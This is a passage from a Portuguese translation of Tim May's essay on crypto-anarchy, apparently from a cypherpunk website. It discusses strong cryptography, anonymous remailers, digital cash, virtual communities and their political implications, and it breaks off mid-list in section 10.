&lt;p>Os governos vêem seus poderes desgastados por essas tecnologias e estão tomando várias medidas bem conhecidas para tentar limitar o uso de criptografia forte por seus súditos. Os EUA têm vários esforços bem divulgados, incluindo o chip Clipper, a lei de grampos de telefonia digital e propostas de depósito &amp;ldquo;voluntário&amp;rdquo; de chaves criptográficas. Cypherpunks e outros esperam que esses esforços sejam contornados. A tecnologia deixou o gênio sair da garrafa. A criptoanarquia está liberando os indivíduos da coerção por seus vizinhos físicos - que não podem saber quem são na rede - e dos governos. Para os libertários, a criptografia forte fornece os meios pelos quais o governo será evitado.&lt;/p>
&lt;p>A apresentação descreverá como vários desses sistemas funcionam, resumidamente, e delinearão as implicações prováveis ​​dessa combinação de criptoanarquia e comunidades virtuais do ciberespaço.&lt;/p>
&lt;h2 id="1-introdução">1. Introdução&lt;/h2>
&lt;p>Este artigo descreve a combinação de duas tecnologias principais:&lt;/p>
&lt;ul>
&lt;li>Critpgrafia Forte: incluindo criptografia, assinaturas digitais, dinheiro digital, mixagens digitais (remailers) e tecnologias relacionadas.&lt;/li>
&lt;li>Comunidades virtuais ciberespaciais: incluindo redes, comunicações anônimas, MUDs e MOOs e realidades virtuais do tipo &amp;ldquo;Multiverse&amp;rdquo;.&lt;/li>
&lt;/ul>
&lt;p>Este artigo descreve a combinação de duas tecnologias principais:&lt;/p>
&lt;p>Essas áreas geralmente permaneceram separadas, pelo menos em artigos publicados. Certamente, os desenvolvedores de sistemas do ciberespaço, como MUDs, MOOs e sistemas semelhantes ao Habitat, apreciam a importância da criptografia para autenticação de usuários, segurança geral e, certamente, para (eventual) compra digital de serviços. Mas, na maior parte, a combinação dessas duas áreas tem sido a competência do escritor de ficção científica, notadamente escritores como Vernor Vinge, William Gibson, Bruce Sterling e Orson Scott Card.&lt;/p>
&lt;p>O grupo &amp;ldquo;Cypherpunks&amp;rdquo;, uma lista de discussão anárquica e um grupo de hackers, foi formado por vários de nós em 1992 como um grupo para tornar concretas algumas das idéias abstratas frequentemente apresentadas em conferências. Nós tivemos alguns sucessos e alguns fracassos. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn1">[1]&lt;/a>
&lt;!-- raw HTML omitted --> O grupo Cypherpunks também apareceu em um momento fortuito, como o PGP estava se tornando popular, como apareceu a revista Wired (eles apareceram na capa da segunda edição), e como a publicidade (hype?) Sobre a Information Superhighway e a A World Wide Web alcançou um &lt;em>crescendo&lt;/em>.&lt;/p>
&lt;p>O site ftp.csua.berkeley.edu tem vários ensaios e arquivos, incluindo arquivos criptográficos, no diretório pub/cypherpunks. Eu também escrevi/compilei um FAQ de 1.3 MB muito grande sobre estas questões, o Cyphernomicon, disponível em vários sites, incluindo meu diretório ftp, ftp.netcom.com, no diretório pub/ tc/tcmay.&lt;/p>
&lt;p>O grupo Cypherpunks também é um ótimo exemplo de uma &amp;ldquo;comunidade virtual&amp;rdquo;. Espalhados pelo mundo, comunicando-se eletronicamente em questão de minutos e aparentemente alheios às leis locais, os Cypherpunks são de fato uma comunidade e são virtuais. Muitos membros usam pseudônimos e usam remailers anônimos para se comunicar com a lista. A própria lista comporta-se assim como um &amp;ldquo;pool de mensagens&amp;rdquo;, um lugar onde informações de todo tipo podem ser anonimamente depositadas - e a anonimamente recebidas (já que todos veem a lista inteira, como um jornal, o destinatário pretendido é anonimizado).&lt;/p>
&lt;p>Aviso legal: Consulte as leis locais antes de aplicar qualquer um dos métodos descritos aqui. Em algumas jurisdições, pode ser ilegal ler artigos como esse (é sério). Em particular, eu geralmente não vou dar endereços de sites ftp para cópias de PGP, acesso a remailer, sistemas de dinheiro digital, etc. Estes são bem cobertos em fóruns mais atuais, por exemplo, sci.crypt ou talk.politics.crypto, e há algumas questões não resolvidas sobre se dar o endereço de tais sites constitui (ou &amp;ldquo;ajudas e abets&amp;rdquo;) violação de várias leis de exportação e munições (criptografia é considerada uma munição nos EUA e provavelmente em outro lugar&amp;hellip;.algumas nações consideram uma impressora a laser para ser um item de munições!).&lt;/p>
&lt;h2 id="2-criptografia-moderna">2. Criptografia Moderna&lt;/h2>
&lt;p>As últimas duas décadas produziram uma revolução na criptografia (cripto, resumindo) a ciência da criação de códigos e cifras. Além de simples cifras, úteis principalmente para manter as comunicações secretas, a criptografia moderna inclui diversas ferramentas para autenticação de mensagens, para registro digital de documentos, para esconder mensagens em outros documentos (esteganografia) e até mesmo para esquemas de dinheiro digital.&lt;/p>
&lt;p>Criptografia de chave pública, a criação de Diffie e Hellman, alterou dramaticamente o papel da criptografia. Chegando ao mesmo tempo que a conversão de atacado para redes de computadores e comunicações em todo o mundo. Tem sido um elemento-chave de segurança, confiança e sucesso. O papel da criptografia só se tornará mais importante nas próximas décadas.&lt;/p>
&lt;p>Pretty Good Privacy, PGP, é uma versão popular do algoritmo desenvolvido por Rivest, Shamir e Adleman, conhecido como RSA. O algoritmo RSA recebeu uma patente nos EUA, embora não em nenhum país europeu, e é licenciado comercialmente. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn2">[2]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>Essas ferramentas são descritas em detalhes em vários textos e anais de conferências, e não são o assunto deste artigo. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn3">[3]&lt;/a>
&lt;!-- raw HTML omitted --> O foco aqui é sobre as implicações da forte criptografia para o ciberespaço, especialmente em comunidades virtuais.&lt;/p>
&lt;p>Deve-se mencionar o papel de David Chaum na definição dos principais conceitos aqui. Em vários artigos seminais (por exemplo, &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn4">[4]&lt;/a>
&lt;!-- raw HTML omitted --> &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn5">[5]&lt;/a>
&lt;!-- raw HTML omitted --> ), Chaum introduziu as idéias de usar métodos de criptografia de chave pública para e-mail anônimo, não rastreável, para sistemas de dinheiro digital nos quais a identidade do remetente não é revelada e em esquemas relacionados a estes. (Eu não faço reivindicações, é claro, que Chaum concorda com minhas conclusões sobre as implicações políticas e socioeconômicas desses resultados).&lt;/p>
&lt;h2 id="3-comunidades-virtuais">3. Comunidades Virtuais&lt;/h2>
&lt;p>Notas: ciberespaço, Habitat, VR, Vinge, etc. Cripto sustenta as &amp;ldquo;paredes&amp;rdquo; dessas realidades ciberespaciais.Controle de acesso, direitos de acesso, privilégios de modificação.&lt;/p>
&lt;p>Comunidades virtuais são as redes de indivíduos ou grupos que não estão necessariamente intimamente conectados geograficamente. O &amp;ldquo;virtual&amp;rdquo; tem a intenção de implicar uma ligação não física, mas não deve ser entendido como significando que são menos semelhantes às comunidades do que as comunidades físicas convencionais.&lt;/p>
&lt;p>Exemplos incluem igrejas, organizações de serviço, clubes, gangues criminosas, cartéis, grupos de fãs, etc. A Igreja Católica e os Escoteiros são exemplos de comunidades virtuais que atravessam o globo, transcendem as fronteiras nacionais e criam um senso de lealdade, de pertença. e um senso de &amp;ldquo;comunidade&amp;rdquo;. Da mesma forma, a Máfia é uma comunidade virtual (com seus mecanismos de imposição, suas próprias regras extra-legais, etc.). Muitos outros exemplos: Maçons, Tríades, Cruz Vermelha, Interpol, Islamismo, Judaísmo, Mórmons, Sindero Luminoso, o IRA, cartéis de drogas, grupos terroristas, Nação Ariana, Greenpeace, a Frente de Libertação Animal, e assim por diante. Existem, sem dúvida, muito mais comunidades virtuais do que estados-nação, e os laços que os ligam são, na maior parte, muito mais fortes do que as emoções do nacionalismo chauvinista. Qualquer grupo em que os interesses comuns do grupo, seja uma ideologia compartilhada ou um interesse particular, são suficientes para criar uma comunidade coesa.&lt;/p>
&lt;p>As corporações são outro excelente exemplo de uma comunidade virtual, com sites espalhados, canais de comunicação privados (geralmente inacessíveis ao mundo exterior, incluindo as autoridades) e seus próprios objetivos e métodos. De fato, muitos autores de ficção &amp;ldquo;cyberpunk&amp;rdquo; (não cypherpunk) erram, penso eu, ao supor que o mundo futuro será dominado por &amp;ldquo;estados&amp;rdquo; megacorporativos transnacionais. Na verdade, as corporações são apenas um exemplo - de muitas - dessas comunidades virtuais que estarão efetivamente em igualdade com os estados-nação. (Note especialmente que quaisquer leis destinadas a limitar o uso da criptografia causam problemas imediatos e profundos para corporações - países como a França e as Filipinas, que tentaram limitar o uso da criptografia, foram em grande parte ignoradas pelas corporações. Qualquer tentativa de proibir criptografia produzirá uma onda de &amp;ldquo;incorporações&amp;rdquo; repentinas, conquistando assim para os novos membros corporativos a égide da privacidade corporativa.&lt;/p>
&lt;p>Em um ambiente acadêmico, &amp;ldquo;faculdades invisíveis&amp;rdquo; são as comunidades de pesquisadores.&lt;/p>
&lt;p>Essas comunidades virtuais normalmente são &amp;ldquo;opacas&amp;rdquo; para pessoas de fora. As tentativas de obter acesso aos internos dessas comunidades raramente são bem-sucedidas. As agências policiais e de inteligência (como a NSA nos EUA, a Chobetsu no Japão, a SDECE na França e assim por diante, em todos os países) podem se infiltrar nesses grupos e usar a vigilância eletrônica (ELINT) para monitorar essas comunidades virtuais. Não é de surpreender que essas comunidades sejam pioneiras na adoção de tecnologia de criptografia, que vão desde celulares embaralhados até criptografia PGP completa. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn6">[6]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>O uso de criptografia por grupos &amp;ldquo;malignos&amp;rdquo;, como pornógrafos infantis, terroristas, abortadores, manifestantes do aborto, etc., é citado por aqueles que desejam limitar o acesso civil a ferramentas de criptografia. Nós os chamamos de &amp;ldquo;Quatro Cavaleiros do Infocalypse&amp;rdquo;, como eles são tão frequentemente citados como a razão pela qual as unidades cidadãs comuns do Estado-nação não têm acesso à criptografia.&lt;/p>
&lt;p>Este é claramente um argumento perigoso a se fazer, por várias boas razões. O direito básico da liberdade de expressão é o direito de falar em um idioma que os vizinhos ou os líderes do governo podem não achar compreensível: discurso criptografado. Não há espaço suficiente aqui para entrar em muitos bons argumentos contra um limite no acesso à privacidade, ferramentas de comunicação e criptografia.&lt;/p>
&lt;p>O advento de sistemas de comunicação com recursos completos para comunidades virtuais mediadas por computador terá implicações ainda mais profundas. MUDs e MOOs (domínios multiusuários, etc.) e realidades virtuais em 3D são uma avenida, e as comunicações líquidas centradas em texto são outras. (Algum dia, em breve, eles se fundirão, conforme descrito no romance profético de Vernor Vinge de 1980, True Names.)&lt;/p>
&lt;h2 id="span-stylebackground-color-c5c5c5-color-3737374-observabilidade-e-vigilânciaspan">&lt;!-- raw HTML omitted -->4. Observabilidade e Vigilância&lt;!-- raw HTML omitted -->&lt;/h2>
&lt;p>Uma maneira interessante de visualizar problemas de visibilidade da rede é em termos da &amp;ldquo;transparência&amp;rdquo; de nós e links entre nós. Transparente significa visível para pessoas de fora, talvez aquelas na aplicação da lei ou na comunidade de inteligência. Meio opaco significa não transparente, não visível. Um cartão postal é transparente, uma carta lacrada é opaca. O inventor do PGP, Phil Zimmermann, comparou a exigência de transparência à ordem de usar cartões postais para toda a correspondência, com criptografia equivalente a um envelope opaco (envelopes podem ser abertos, é claro e por muito tempo).&lt;/p>
&lt;p>Links e nós transparentes são a norma em um estado policial, como a URSS, o Iraque, a China e assim por diante. Os canais de comunicação são utilizados e o uso privado de computadores é restrito. (Isso está se tornando cada vez mais difícil de fazer, mesmo para os estados policiais; muitos citam a disseminação de opções de comunicação como uma causa próxima do colapso do comunismo nos últimos anos.)&lt;/p>
&lt;p>Existem &amp;ldquo;químicas&amp;rdquo; ou &amp;ldquo;álgebras&amp;rdquo; interessantes de links e nós transparentes versus opacos. O que acontece se os links devem ser transparentes, mas os nós podem ser opacos? (A resposta: o resultado é como se links e nós opacos fossem permitidos, i.e., implicações completas de criptografia forte. Portanto, qualquer tentativa de banir a criptografia de comunicações enquanto ainda permite que CPUs privadas existam&amp;hellip;)&lt;/p>
&lt;p>Se Alice e Bob estiverem livres para se comunicar e escolher caminhos de roteamento, Alice poderá usar a &amp;ldquo;arbitragem criptográfica&amp;rdquo; (uma variação do termo &amp;ldquo;arbitragem regulatória&amp;rdquo;, o termo usado por Eric Hughes para capturar essa idéia de transferir transações para outras jurisdições) para se comunicar com sites - talvez em outros países - que terão o desempenho desejado. Isso pode significar reencaminhamento, mixagem, etc. Como exemplo, cidadãos canadenses são informados de que não podem acessar informações sobre o caso Homolka-Teale (um caso controverso em que o juiz ordenou a mídia no Canadá e entrou no Canadá, não para discutir os detalhes podres), no entanto, tem uma vasta gama de opções, incluindo o uso de telnet, gopher, ftp, web, etc., para acessar sites em muitos outros países - ou mesmo em nenhum país em particular.&lt;/p>
&lt;p>A maioria das conseqüências descritas aqui provêm dessa química de links e nós: a menos que quase todos os nós e links sejam forçados a serem transparentes, incluindo links para outras nações e os nós nessas nações, o resultado é que a comunicação privada ainda pode ocorrer. Resultado da criptoanarquia.&lt;/p>
&lt;h2 id="5-criptoanarquia">5. Criptoanarquia&lt;/h2>
&lt;p>&amp;ldquo;A rede é uma anarquia.&amp;rdquo; Esse truísmo é o núcleo da criptoanarquia. Nenhum controle central, nenhum governante, nenhum líder (exceto pelo exemplo, reputação), nenhuma &amp;ldquo;lei&amp;rdquo;. Nenhuma nação única controla a rede, nenhum órgão administrativo estabelece políticas. O &lt;!-- raw HTML omitted -->Ayatollah&lt;!-- raw HTML omitted --> no Irã é impotente para impedir que um grupo de notícias - alt.wanted.moslem.women ou alt.wanted.moslem.gay venha à mente - ele não gosta, já que o presidente da França está tão impotente para parar, digamos, abuso de francês em soc.culture.french. Da mesma forma, a CIA não pode parar grupos de notícias, sites ou páginas da Web, que revelam seus segredos. Pelo menos não em termos da própria rede&amp;hellip; que passos &amp;ldquo;não-net&amp;rdquo; podem ser tomados é deixado como um exercício para os paranóicos e os cautelosos.&lt;/p>
&lt;p>Essa anarquia essencial é muito mais comum do que muitos pensam. Anarquia - a ausência de um governante dizendo a alguém o que fazer - é comum em muitos setores da vida: escolha de livros para ler, filmes para ver, amigos para socializar, etc. Anarquia não significa liberdade total - afinal, pode-se apenas leia os livros que alguém escreveu e publicou - mas significa liberdade da coerção externa. A anarquia como conceito, no entanto, foi contaminada por outras associações.&lt;/p>
&lt;p>Primeiro, a &amp;ldquo;anarquia&amp;rdquo; aqui não é a anarquia da concepção popular: ilegalidade, desordem, caos e &amp;ldquo;anarquia&amp;rdquo;. Tampouco é a anarquia de arremesso de bombas dos anarquistas &amp;ldquo;negros&amp;rdquo; do século XIX, geralmente associada à Rússia e aos movimentos trabalhistas. Nem é a anarquia da &amp;ldquo;bandeira negra&amp;rdquo; do anarco-sindicalismo e escritores como Proudhon. Em vez disso, a anarquia que se fala aqui é a anarquia da &amp;ldquo;ausência de governo&amp;rdquo; (literalmente, &amp;ldquo;um arco&amp;rdquo;, sem chefe ou chefe).&lt;/p>
&lt;p>Este é o mesmo sentido de anarquia usado no &amp;ldquo;anarco-capitalismo&amp;rdquo;, a ideologia do livre mercado libertário que promove transações econômicas voluntárias e não coagidas. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn7">[7]&lt;/a>
&lt;!-- raw HTML omitted --> Eu inventei o termo cryptoanarchy (criptoanarquia) como um trocadilho com criptografia, que significa &amp;ldquo;escondido&amp;rdquo;, sobre o uso de &amp;ldquo;criptografia&amp;rdquo; em combinação com visões políticas (como na famosa acusação de Gore Vidal a William F. Buckley: &amp;ldquo;Você é fascista!&amp;rdquo;) e, claro, porque a tecnologia de criptografia torna possível essa forma de anarquia. A primeira apresentação disso foi em um &amp;ldquo;Manifesto&amp;rdquo; de 1988, modelado por caprichos de outro famoso manifesto. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn8">[8]&lt;/a>
&lt;!-- raw HTML omitted --> Talvez um termo mais popularmente compreensível, como &amp;ldquo;liberdade cibernética&amp;rdquo;, possa ter algumas vantagens, mas a criptoanarquia tem seu próprio charme, eu acho.&lt;/p>
&lt;p>E a anarquia, neste sentido, não significa que as hierarquias locais não existam, nem significa que não existam governantes. Grupos fora do controle direto das autoridades governamentais locais ainda podem ter líderes, governantes, presidentes de clube, corpos eleitos, etc. Muitos não o farão.&lt;/p>
&lt;p>Politicamente, as comunidades virtuais fora do escopo do controle governamental local podem apresentar problemas de aplicação da lei e cobrança de impostos. (Alguns de nós gostamos desse aspecto.) Evitar transações coercivas pode significar evitar impostos, evitar leis que dizem quem pode vender e quem não pode, e assim por diante. É provável que muitos estejam insatisfeitos com o fato de alguns usarem criptografia para evitar leis destinadas a controlar o comportamento.&lt;/p>
&lt;p>As fronteiras nacionais estão se tornando mais transparentes do que nunca para os dados. Uma enxurrada de bits cruza as fronteiras da maioria dos países desenvolvidos - linhas telefônicas, cabos, fibras, links para cima/para baixo de satélites e milhões de disquetes, fitas, CDs, etc. Parar os dados nas bordas é menos do que impossível.&lt;/p>
&lt;p>Finalmente, a capacidade de mover dados em todo o mundo à vontade, a capacidade de se comunicar com locais remotos à vontade, significa que uma espécie de &amp;ldquo;arbitragem regulatória&amp;rdquo; pode ser usada para evitar obstáculos legais. Por exemplo, reencaminhamento para os EUA a partir de um site nos Países Baixos&amp;hellip; quais leis se aplicam? (Se alguém acha que as leis dos EUA devem se aplicar a sites na Holanda, a lei iraquiana se aplica nos EUA? E assim por diante.)&lt;/p>
&lt;p>Essa arbitragem regulatória também é útil para evitar a confusão de leis e regulamentações que as operações em um país podem enfrentar, incluindo as ações &amp;ldquo;profundas&amp;rdquo; que tantos nos EUA enfrentam. A movimentação de operações na rede fora de uma jurisdição litigiosa é um passo para reduzir esse passivo comercial. Como os bancos suíços, mas diferentes.&lt;/p>
&lt;h2 id="6-nomes-verdadeiros-e-sistemas-anônimos">6. Nomes Verdadeiros e Sistemas Anônimos&lt;/h2>
&lt;p>Algo precisa ser dito sobre o papel do anonimato e dos pseudônimos digitais. Este é um tópico para um ensaio em si, é claro.&lt;/p>
&lt;p>Os nomes verdadeiros são realmente necessários? Por que eles são solicitados? O Estado-nação tem algum motivo válido para exigir que eles sejam usados?&lt;/p>
&lt;p>As pessoas querem saber com quem estão lidando, por razões psicológicas / evolutivas e para garantir melhor a rastreabilidade caso precisem localizar uma pessoa para impor os termos de uma transação. A pessoa puramente anônima talvez seja justificadamente vista com suspeita.&lt;/p>
&lt;p>E, no entanto, os pseudônimos são bem-sucedidos em muitos casos. E raramente sabemos se alguém que se apresenta por algum nome é &amp;ldquo;realmente&amp;rdquo; essa pessoa. Autores, artistas, famosos, etc., geralmente usam pseudônimos. O que importa é persistência e não aplicabilidade. A criptografia fornece isso.&lt;/p>
&lt;p>Na lista de Cypherpunks, pseudônimos digitais bem respeitados apareceram e não são considerados menos do que seus colegas &amp;ldquo;reais&amp;rdquo;.&lt;/p>
&lt;p>Toda a área de reputações autenticadas digitalmente e o &amp;ldquo;capital de reputação&amp;rdquo; que se acumula ou é afetado pelas opiniões dos outros, é uma área que combina economia, teoria dos jogos, psicologia e expectativas. Muito mais estudo é necessário.&lt;/p>
&lt;p>Não está claro se os governos passarão para um sistema de exigência de &amp;ldquo;Licenças de Dirigir para Rodovia da Informação&amp;rdquo;, figurativamente falando, ou como sistemas como esse poderiam ser aplicados. (A química dos nós opacos e links, novamente.)&lt;/p>
&lt;h2 id="7-exemplos-e-usos">7. Exemplos e Usos&lt;/h2>
&lt;p>Surpreende muitas pessoas que alguns desses usos já estejam sendo intensamente explorados. Os repostadores anônimos são usados ​​por dezenas de milhares de pessoas - e talvez sejam abusados. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn9">[9]&lt;/a>
&lt;!-- raw HTML omitted --> E, é claro, a criptografia, via RSA, PGP, etc., é muito comum em algumas comunidades. (Hackers, usuários da Net, combatentes da liberdade, separatistas brancos, etc &amp;hellip; Eu não faço julgamentos morais aqui sobre aqueles que usam esses métodos).&lt;/p>
&lt;p>Remailers são um bom exemplo para se ver com mais detalhes. Existem dois tipos principais de remailers:&lt;/p>
&lt;ol>
&lt;li>Reempacotamentos estilo &amp;ldquo;Cypherpunk&amp;rdquo;, que processam mensagens de texto para redirecionar e-mails para outros sites, usando uma sintaxe de comando que permite o aninhamento arbitrário de reencaminhamento (como muitos sites), com criptografia PGP em cada nível de aninhamento.&lt;/li>
&lt;li>Remailer (s) ao estilo &amp;ldquo;Julf&amp;rdquo;, baseado no trabalho original de Karl Kleinpaste e operado/mantido por Julf Helsingius, na Finlândia. Nenhuma criptografia e apenas um desses sites no momento. (Este sistema tem sido amplamente utilizado para mensagens postadas na Usenet e é basicamente bem-sucedido. O modelo é baseado na confiabilidade do operador e sua localização na Finlândia, além do alcance de ordens judiciais e intimações da maioria dos países.)&lt;/li>
&lt;/ol>
&lt;p>Os remailers do Cypherpunks são atualmente cerca de 20, com mais sendo adicionados a cada mês. Não há razão para não esperar centenas desses reencaminhadores em poucos anos.&lt;/p>
&lt;p>Um &amp;ldquo;mercado de informações&amp;rdquo; experimental é o BlackNet, um sistema que surgiu em 1993 e que permite trocas de informações de todos os tipos, totalmente anônimas e bidirecionais. Há relatos de que as autoridades americanas investigaram isso por causa de sua presença em redes nos laboratórios de pesquisa do Departamento de Defesa. Não há muito o que fazer sobre isso, é claro, e mais entidades desse tipo são esperadas.&lt;/p>
&lt;p>(As implicações para a espionagem são profundas e quase incontroláveis. Qualquer pessoa com um computador doméstico e acesso à Internet ou à Web, de várias formas, pode usar esses métodos para se comunicar com segurança, anonimamente ou pseudonimamente e com pouco receio de detecção. &amp;ldquo;Digital dead drops&amp;rdquo; podem ser usadas para postar informações obtidas, muito mais seguramente do que as velhas &amp;ldquo;dead drops&amp;rdquo;&amp;hellip; não há mais mensagens em latas de Coca-Cola nas bases de árvores em estradas remotas.)&lt;/p>
&lt;p>O whistleblowing é outro uso crescente de remailers anônimos, com pessoas temendo retaliação usando remailers para postar informações publicamente. (Claro, há uma linha tênue entre denúncia, vingança e espionagem).&lt;/p>
&lt;p>Paraísos de dados, para o armazenamento e comercialização de informações controversas, é outra área de provável crescimento futuro. Praticamente qualquer tipo de informação, médica, religiosa, química, etc., é ilegal ou proscrita em um ou mais países, então aqueles que buscam essas informações ilegais recorrem a sistemas anônimos de mensagens para acessar - e talvez comprar, com dinheiro digital anônimo - este em formação. Isso pode incluir bancos de dados de crédito, arquivos de locatários, mercados de bancos de órgãos, etc. (são todas as coisas que têm várias restrições sobre eles nos EUA, por exemplo &amp;hellip; não se pode compilar bancos de dados de crédito ou listas de locatários , sem encontrar várias restrições, um bom motivo para movê-las para o ciberespaço, ou pelo menos fora dos EUA, e depois vender o acesso por meio de remailers.)&lt;/p>
&lt;p>A correspondência de compradores e vendedores de órgãos é outro desses mercados. Uma enorme demanda (vida e morte), mas várias leis que controlam rigidamente esses mercados.&lt;/p>
&lt;p>Esforços de caixa digital. Muito tem sido escrito sobre dinheiro digital. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn10">[10]&lt;/a>
&lt;!-- raw HTML omitted --> &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn11">[11]&lt;/a>
&lt;!-- raw HTML omitted --> A empresa de David Chaum, DigiCash, possui a tecnologia mais interessante e recentemente iniciou testes de mercado. A Stefan Brands pode ou não ter um sistema concorrente que contorna algumas das patentes da Chaum. (A atitude dos criptoanarquistas pode tomar sobre patentes é outro tópico para discussão. Basta dizer que as patentes e outras questões de propriedade intelectual continuam a ter relevância no mundo prático, apesar da erosão pelas tendências tecnológicas.)&lt;/p>
&lt;p>Sistemas baseados em cartões de crédito, como o sistema First Virtual, não são exatamente dinheiro digital, no sentido chaumiano de notas cegas, mas oferecem algumas vantagens que o mercado pode achar útil até que sistemas mais avançados estejam disponíveis.&lt;/p>
&lt;p>Espero ver muitos mais experimentos desse tipo nos próximos anos, e alguns deles provavelmente serão sucessos de mercado.&lt;/p>
&lt;h2 id="8-comércio-e-colonização-do-ciberespaço">8. Comércio e Colonização do Ciberespaço&lt;/h2>
&lt;p>Como essas idéias afetarão o desenvolvimento do ciberespaço?&lt;/p>
&lt;p>&amp;ldquo;Você não pode comer ciberespaço&amp;rdquo; é uma crítica muitas vezes nivelada à discussão sobre o papel do ciberespaço na vida cotidiana. O argumento feito é que o dinheiro e os recursos &amp;ldquo;acumulados&amp;rdquo; em algum futuro sistema ciberespacial (ou futuro próximo) não poderão ser &amp;ldquo;lavados&amp;rdquo; no mundo real. Mesmo um tal pensador presciente como Neal Stephenson, em &lt;em>Snow Crash&lt;/em> , teve seu protagonista, um homem muito rico em &amp;ldquo;O Multiverso&amp;rdquo;, mas quase indigente no mundo físico.&lt;/p>
&lt;p>Isso é implausível por vários motivos. Primeiro, vemos rotineiramente transferências de riqueza do mundo abstrato de dicas de ações, conhecimento de consultoria arcana, etc., para o mundo real. &amp;ldquo;Consultoria&amp;rdquo; é a palavra operativa. Segundo, uma variedade de meios de lavagem de dinheiro, através de faturas falsas, empréstimos não cobrados, objetos de arte, etc., são bem conhecidos daqueles que lavam dinheiro&amp;hellip; esses métodos, e os mais avançados que estão por vir, provavelmente serão usados por aqueles que desejam que seus lucros no ciberespaço sejam transferidos para o mundo real.&lt;/p>
&lt;p>(Fazer isso anonimamente, sem rastreio, é outra complicação. Pode haver métodos para fazer isso - as propostas parecem bastante sólidas, mas é necessário mais trabalho.)&lt;/p>
&lt;p>A World Wide Web está crescendo em um ritmo explosivo. Combinado com a comunicação criptograficamente protegida e o dinheiro digital de alguma forma (e há vários que estão sendo experimentados), isso deve produzir a muito esperada colonização do ciberespaço.&lt;/p>
&lt;p>A maioria dos internautas e usuários da Web já presta pouca atenção às leis putativas de suas regiões ou nações locais, aparentemente se vendo mais como membros de várias comunidades virtuais do que como membros de entidades governadas localmente. Esta tendência está se acelerando.&lt;/p>
&lt;p>Mais importante, as informações podem ser compradas e vendidas (anonimamente também) e usadas no mundo real. Não há razão para esperar que essa não seja a principal razão para entrar no ciberespaço.&lt;/p>
&lt;h2 id="9-implicações">9. Implicações&lt;/h2>
&lt;p>Eu falei sobre as implicações em vários lugares. Muitas pessoas atenciosas estão preocupadas com algumas das possibilidades evidenciadas por fortes sistemas de comunicação cripto-anônimos. Alguns estão propondo restrições ao acesso a ferramentas de criptografia. O recente debate nos Estados Unidos sobre &amp;ldquo;Clipper&amp;rdquo; e outros sistemas de depósito de chaves mostra a força das emoções nesta questão.&lt;/p>
&lt;p>Mercados abomináveis ​​podem surgir. Por exemplo, sistemas anônimos e dinheiro digital não rastreável têm algumas implicações óbvias para a organização de assassinatos por contrato e outros. (O maior risco na organização de tais acessos é que as reuniões físicas expõem os compradores e vendedores de tais serviços a picadas. A criptoanarquia diminui ou até mesmo elimina esse risco, diminuindo assim os custos de transação. Os riscos para os verdadeiros gatilhos não são diminuídos, mas este é um risco que os compradores não precisam se preocupar. Pense em serviços de depósito anônimos que detêm o dinheiro digital até que a ação seja feita. Muitas questões aqui. É lamentável que essa área seja tão pouco discutida&amp;hellip; as pessoas parecem tem aversão por explorar as consequências lógicas em tais áreas.)&lt;/p>
&lt;p>As implicações para a espionagem corporativa e nacional já foram abordadas. Combinado com mercados líquidos de informação, isso pode tornar os segredos muito mais difíceis de manter. (Imagine um &amp;ldquo;Digital Jane&amp;rsquo;s&amp;rdquo;, depois dos manuais de armas militares, compilados anonimamente e vendidos por dinheiro digital, além do alcance de vários governos que não querem que seus segredos sejam contados.)&lt;/p>
&lt;p>Novas abordagens de lavagem de dinheiro são, obviamente, outra área a ser explorada.&lt;/p>
&lt;p>Algo que é inevitável é o aumento do papel dos indivíduos, levando a um novo tipo de elitismo. Aqueles que estão confortáveis ​​com as ferramentas descritas aqui podem evitar as restrições e impostos que outros não podem. Se as leis locais podem ser contornadas tecnologicamente, as implicações são bastante claras.&lt;/p>
&lt;p>As implicações para a liberdade pessoal são, naturalmente, profundas. Os Estados-nação não podem mais dizer a suas unidades de cidadãos aquilo a que podem ter acesso, não se esses cidadãos puderem acessar o mundo do ciberespaço por meio de sistemas anônimos.&lt;/p>
&lt;h2 id="10-quão-provável">10. quão provável?&lt;/h2>
&lt;p>Não estou fazendo previsões ousadas de que essas mudanças varrerão o mundo tão cedo. A maioria das pessoas ignora esses métodos e os métodos em si ainda estão em desenvolvimento. Uma conversão por atacado para &amp;ldquo;viver no ciberespaço&amp;rdquo; simplesmente não está nos cartões, pelo menos não nas próximas décadas.&lt;/p>
&lt;p>Mas para um grupo cada vez maior, a Net é a realidade. É onde os amigos são feitos, onde os negócios são negociados, onde a estimulação intelectual é encontrada. E muitas dessas pessoas estão usando ferramentas de criptoanarquia. Remailers anônimos, pools de mensagens, mercados de informações. A consulta via pseudônimos começou a aparecer e deve crescer. (Como de costume, a falta de um robusto sistema de caixa digital está atrasando as coisas.&lt;/p>
&lt;p>A criptoanarquia pode ser parada? Embora a evolução futura não seja clara, como o futuro quase sempre é, parece improvável que as tendências atuais possam ser revertidas:&lt;/p>
&lt;ul>
&lt;li>Aumentos dramáticos na largura de banda e no poder de computação local.&lt;/li>
&lt;li>Aumento exponencial do número de usuários da rede.&lt;/li>
&lt;li>Explosão em &amp;ldquo;graus de liberdade&amp;rdquo; em escolhas pessoais, gostos, desejos, objetivos.&lt;/li>
